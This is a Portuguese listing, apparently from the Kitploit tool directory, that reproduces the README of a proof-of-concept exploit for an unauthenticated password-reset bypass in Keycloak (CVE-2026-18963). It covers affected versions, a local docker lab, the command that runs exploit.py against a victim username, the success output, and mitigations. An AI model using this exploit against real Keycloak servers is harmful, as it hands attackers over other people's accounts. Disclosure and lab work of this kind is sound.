Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-18963 — Prova de conceito de exploit para CVE-2026-18963, demonstrando tomada de conta não autenticada ao contornar o fluxo de redefinição de credenciais em aplicações web. | Kitploit
Ferramentas/GitHubGitHub/eqstlab/cve-2026-18963
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAutenticação
GitHubeqstlab/cve-2026-18963

CVE-2026-18963

Prova de conceito de exploit para CVE-2026-18963, demonstrando tomada de conta não autenticada ao contornar o fluxo de redefinição de credenciais em aplicações web.

Ver Repositório
19251há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-18963 Keycloak Tomada de Conta Não Autenticada

★ PoC de Bypass do Fluxo de Redefinição de Credenciais do Keycloak CVE-2026-18963 ★

https://github.com/user-attachments/assets/ebed1e64-a40c-4333-be18-9acbadd655b0


Visão Geral

CVE-2026-18963 é uma vulnerabilidade crítica de tomada de conta não autenticada no componente keycloak-services do Keycloak (CVSS 9.1). Uma falha na máquina de estados de autenticação do fluxo de redefinição de credenciais permite que um atacante remoto contorne a etapa de verificação de e-mail e alcance o formulário de atualização de senha sem possuir o link de redefinição. Ao direcionar um nome de usuário conhecido, um atacante pode definir uma nova senha e assumir o controle da conta da vítima sem autenticação ou interação do usuário.

O fluxo vulnerável armazena o estado do seletor de credenciais como uma nota de autenticação de escopo de sessão, em vez de vinculá-lo à execução que exibiu o seletor. Portanto, reentrar no fluxo de redefinição pode reutilizar um estado de seletor obsoleto para outra execução. Nas versões afetadas, o autenticador de e-mail de redefinição também aceita uma ação sem confirmar que ela foi alcançada por meio de um token de ação de e-mail válido. Encadear esses comportamentos leva o atacante diretamente a UPDATE_PASSWORD.


Versões Afetadas

CategoriaVersão
VulnerávelKeycloak 26.0.0 ≤ versão < 26.4.15
VulnerávelKeycloak 26.5.0 ≤ versão < 26.6.6
VulnerávelKeycloak 26.7.0 ≤ versão < 26.7.2
Corrigida26.4.15, 26.6.6, 26.7.2 (respectivos ramos de lançamento)

Este laboratório usa o Keycloak 26.7.1.


Impacto

  • Redefinição de senha não autenticada para qualquer usuário conhecido
  • Tomada de conta completa sem acesso ao e-mail da vítima
  • Acesso não autorizado a aplicações e dados protegidos pelo realm do Keycloak afetado
  • Abuso das funções e privilégios da vítima em serviços conectados

Ambiente

Compile e execute o ambiente vulnerável do Keycloak 26.7.1. A imagem importa um realm de teste com o fluxo vulnerável de redefinição de credenciais habilitado, uma conta victim pré-configurada e um portal EQST com uma página de flag protegida.

docker build -t cve-2026-18963 .
docker run --rm -d \
  --name cve-2026-18963 \
  -p 9105:9105 \
  -e PORTAL_PUBLIC_URL=http://127.0.0.1:9105 \
  cve-2026-18963

Aguarde o Keycloak iniciar e abra o portal:

http://127.0.0.1:9105
Pré-condiçãoEstado neste laboratório
Keycloak26.7.1 (vulnerável)
Realmcve-lab
Esqueci minha senhahabilitado
Conta alvovictim
URL base do Keycloakhttp://127.0.0.1:9105/keycloak

PoC

O exploit.py incluído automatiza a manipulação de estado do fluxo de redefinição, solicita o formulário de atualização de senha sem consumir um token de ação de e-mail, altera a senha da vítima e verifica a tomada de conta solicitando um token de acesso com as novas credenciais.

Instale a dependência Python:

python3 -m pip install requests

Execute o exploit com a URL do Keycloak, o nome de usuário da vítima e uma nova senha:

# python3 exploit.py <keycloak-url> <victim> <new-password>
python3 exploit.py \
  http://127.0.0.1:9105/keycloak \
  victim \
  'NewPassword1!'

Uma execução bem-sucedida imprime:

[*] selector note set via tryAnotherWay
[*] victim submitted: victim
[*] update-password form served without an action token
[+] VULNERABLE - victim password is now 'NewPassword1!'

Abra http://127.0.0.1:9105, clique em LOGIN e autentique-se como victim com a nova senha para confirmar a tomada de conta.


Mitigação

  • Atualize dentro do ramo de lançamento aplicável para 26.4.15, 26.6.6 ou 26.7.2, ou migre para uma versão mais recente e suportada do Keycloak.
  • Se uma atualização imediata não for possível, desabilite Realm settings → Login → Forgot password em todos os realms como mitigação temporária.
  • Revise a atividade de redefinição de senha em busca de redefinições inesperadas e investigue as contas afetadas.
  • Revogue sessões ativas e rotacione credenciais de contas suspeitas de comprometimento.

Análise

  • KR: Em breve!
  • EN:
Baixar ferramenta